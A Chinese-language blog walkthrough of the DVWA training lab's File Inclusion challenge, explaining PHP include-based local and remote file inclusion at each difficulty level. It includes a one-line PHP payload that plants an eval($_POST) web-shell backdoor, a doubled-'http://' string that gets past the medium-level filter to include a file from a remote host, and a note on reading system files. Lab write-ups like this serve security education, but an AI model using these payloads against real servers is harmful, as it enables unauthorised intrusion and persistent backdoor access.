dvwa靶场通关(四)

news2024/11/29 18:25:09

第4关:File Inclusion(文件包含)

1.什么是文件包含?
程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

File Inclusion,文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。


require():可以包含文件,如果包含错了,直接报错并退出程序的执行
include():在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require_once():与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once():与include类似,区别在于当重复调用同一文件时,程序只调用一次

类型:
本地文件包含漏洞与远程文件包含漏洞。
远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

low

有三个php文件

 我们分别点击,观察到,我们点击哪个文件,url中的page=接着就是我们点击的文件名,然后显示文件的相应内容,所以这page=后面就是参数,即包含的文件

Windows系统都有一个系统文件win.ini在c盘,我们尝试读取一下。

读取成功

 但是,在现实中,刚开始我们是不知道服务器的系统的。我们可以尝试包含一个不存在的文件

,比如666.txt,就会出现如下报错,这一报错暴露出服务器是Windows系统,还知道了服务器的根目录 

我们在dvwa文件夹下,创建一个test.txt文件,写入hello world 

然后我们用相对路径,包含该txt文件,读取出来

注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取任意命令执行

 我们常常结合文件上传漏洞,上传一句话木马文件,这里模拟已经上传了txt文件

<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[123]);?>')?>

 把上面的test.txt文件修改,写入一句话木马

 

然后包含我们的test.txt文件,返回是空的,但是一句话木马已经被执行,生成了后门shell20.php

 用中国蚁剑连接

 

 medium

 可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 "../", "..\""替换为空字符,即删除。但是实际上,使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如:page=hthttp://tp://192.168.67.143/phpinfo.txt时,str_replace函 数会将http://删除,于是就变成了:page=http://192.168.5.12/phpinfo.txt, 成功执行远程命令

因为替换的只是../ 或者 ..\\,所以对采用绝对路径的方式包含文件是不会受到任何限制

 如果我们采用相对路径,同理也可以双写绕过

 

 high

看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件

 file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件绝对路径。

由于file协议只支持本地文件读取,不支持远程文件执行,就没办法执行远程文件

 impossible

给出最简单粗暴的防御办法是直接使用出白名单

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/589853.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1. Flask简介

Web应用程序作用 Web&#xff08;World Wide Web&#xff09;诞生最初的目的&#xff0c;是为了利用互联网交流工作文档。 client&#xff08;客户端&#xff09;可以是任何联网的设备&#xff0c;能向服务端发送请求。一次请求一个响应&#xff0c;有多少请求就有多少个响应。…

【计算机视觉 | 目标检测】术语理解6:ViT 变种( ViT-H、ViT-L ViT-B)、bbox(边界框)、边界框的绘制(含源代码)

文章目录 一、ViT & ViT变种1.1 ViT的介绍1.2 ViT 的变种 二、bbox&#xff08;边界框&#xff09;三、边界框的绘制 一、ViT & ViT变种 1.1 ViT的介绍 ViT&#xff0c;全称为Vision Transformer&#xff0c;是一种基于Transformer架构的视觉处理模型。传统的计算机视…

用cmd实现清理系统垃圾

目录 前言一、cmd是什么&#xff1f;二、食用步骤1.第一版本2.第二版本 总结 前言 在使用计算机的过程中&#xff0c;我们经常会产生很多系统垃圾文件&#xff0c;如果不及时清理可能会影响计算机的性能。本文将介绍如何借助cmd帮助我们清理系统垃圾&#xff0c;提高计算机的运…

vue3-实战-01-管理后台项目初始化和项目配置

目录 1-项目初始化 1.1-环境准备 1.2-项目初始化 2-项目配置 2.1-eslint配置 2.2-配置prettier 2.3-配置stylelint 2.4-配置husky 2.5-配置commitlint 2.6-强制使用pnpm包管理器工具 1-项目初始化 从0开始搭建一个vue3版本的后台管理系统。一个项目要有统一的规范&…

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

前言 fastjson是阿里巴巴的开源JSON解析库&#xff0c;它可以解析JSON格式的字符串&#xff0c;的作用就是把java对象转换为json形式&#xff0c;也可 以用来将json转换为java对象。 fastjson在解析json的过程中&#xff0c;支持使用autoType来实例化某一个具体的类&#xff…

【计算机网络】1.3 ——计算机网络的定义和分类

计算机网络的定义和分类 计算机网络定义 最简单的定义是 一些互相连接的、自治的计算机的集合 互连&#xff0c;指计算机之间可以通过有线或无线的方式进行数据通信自治&#xff0c;是指独立的计算机&#xff0c;它有自己的硬件和软件&#xff0c;可以单独运行使用集合&#…

面试专题:java 多线程(1)----synchronized关键字相关问答

在java 多线程 面试中最多问题1.悲观锁和乐观锁&#xff1b;2.synchronized和lock的区别&#xff1b;3.可重入锁和非可重入锁的区别&#xff1b;4.多线程是解决什么问题的&#xff1b;5.线程池解决什么问题的&#xff1b;6.线程池原理&#xff1b;7.线程池使用注意事项&#xf…

安卓中集成高德地图

安卓中集成高德地图 1.高德地图的优缺点 高德开放平台 | 高德地图API 高德地图优点&#xff1a; 1、领先的地图渲染技术&#xff1a;性能提升10倍&#xff0c;所占空间降低80&#xff05;&#xff0c;比传统地图软件节省流量超过90&#xff05; 2、专业在线导航功能&#x…

JVM之类的初始化与类加载机制

类的初始化 clinit 初始化阶段就是执行类构造器方法clinit的过程。此方法不需定义&#xff0c;是javac编译器自动收集类中的所有类变量的赋值动作和静态代码块中的语句合并而来。构造器方法中指令按语句在源文件中出现的顺序执行。clinit不同于类的构造器。(关联&#xff1a;…

C++-stack题型->最小栈,栈的压入与弹出,逆波兰表达式

目录 最小栈 栈的压入与弹出 逆波兰表达式 最小栈 155. 最小栈 - 力扣&#xff08;Leetcode&#xff09; 设计一个支持 push &#xff0c;pop &#xff0c;top 操作&#xff0c;并能在常数时间内检索到最小元素的栈。 实现 MinStack 类: MinStack() 初始化堆栈对象。void …

App 测试流程及资料合集

/1 / 测试理论知识:跟其他 web 等测试一样; /2 / 整体测试流程:同 web 类似 具体差异化见下方内容 /3 / App 独特测试点: 客户端兼容性测试:系统版本、不同深度定制的 rom、屏幕分辨率、中断测试、 安装、卸载、升级、对其他程序的干扰等 需要的一些工具: appnium / lr / …

测试工程师转型开发?还是继续磨练测试技能?

测试五年&#xff0c;没有积累编程脚本能力和自动化经验&#xff0c;找工作时都要求语言能力&#xff0c;自动化框架。 感觉开发同事积累的经历容易找工作。 下一步&#xff0c;想办法转开发岗还是继续测试&#xff1f;&#xff1f;&#xff1f; 正常情况下&#xff0c;有了四年…

pdf怎么在线阅读?一键查阅并不难

PDF格式的文件已经成为现代生活中不可或缺的一部分&#xff0c;无论是学术论文、电子书、工作文件还是表格&#xff0c;都有可能以PDF格式出现。然而&#xff0c;为了读取这些文件&#xff0c;我们需要安装PDF阅读器&#xff0c;这在某些情况下可能会带来不便。因此&#xff0c…

如何修复缺失的mfplat.dll文件,多种修复mfplat.dl分享

当你在使用电脑时&#xff0c;突然遇到了缺失了mfplat.dll的错误提示&#xff0c;你可能会感到非常烦恼。不要担心&#xff0c;这是一个常见的问题。在本文中&#xff0c;我们将指导你如何修复缺失的mfplat.dll文件。 一.什么是mfplat.dll MFPLAT.DLL是Microsoft Windows操作系…

广和通发布5G RedCap模组FG132-NA,助力5G商用规模化

5月30日&#xff0c;全球领先的无线通信模组和解决方案提供商广和通发布5G RedCap模组FG132-NA&#xff0c;加速5G技术在更多物联网场景广泛应用。 FG132-NA符合3GPP Release17演进标准&#xff0c;为物联网终端带来卓越5G体验的同时&#xff0c;全面优化产品尺寸、功耗以及成本…

spring boot与spring cloud版本兼容问题解决(附版本兼容表)

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

【Matter】使用chip tool在ESP32-C3上进行matter开发

文章目录 使用chip tool在ESP32-C3上进行matter开发前提准备编译 chip-tool1.激活esp-matter环境2.编译matter所需环境3.构建CHIP TOOL chip-tool client 调试设备说明1.基于 BLE 调试2.通过IP与设备配对3.Trust store4.忘记当前委托的设备 使用chip-tool点灯1.matter环境激活2…

简单解决八皇后问题与n皇后问题

努力是为了不平庸~ 学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。 目录 一、问题描述 二、问题解决思路 1. 建立数据结构&#xff1a; 2. 约束条件的实现&#xff1a; 3. 结果展示&#xff1a; 4. 拓展至n皇…

(STL之string)string类的用法详解

string类成员函数PART1 成员函数(构造函数拷贝构造函数)&#xff1a;string 函数原型&#xff1a; string(); string (const string& str); string (const string& str, size_t pos, size_t len npos); string (const char* s); string (const char* s, size_t n)…

项目中使用es(一):使用springboot操作elasticsearch

使用springboot操作es 写在前面搭建项目环境和选择合适版本具体的代码实现&#xff08;1&#xff09;继承ProductInfoRepository具体的代码实现&#xff08;2&#xff09;使用ElasticsearchRestTemplate操作问题总结最后放个demo 写在前面 对于elasticsearch的搭建&#xff0c…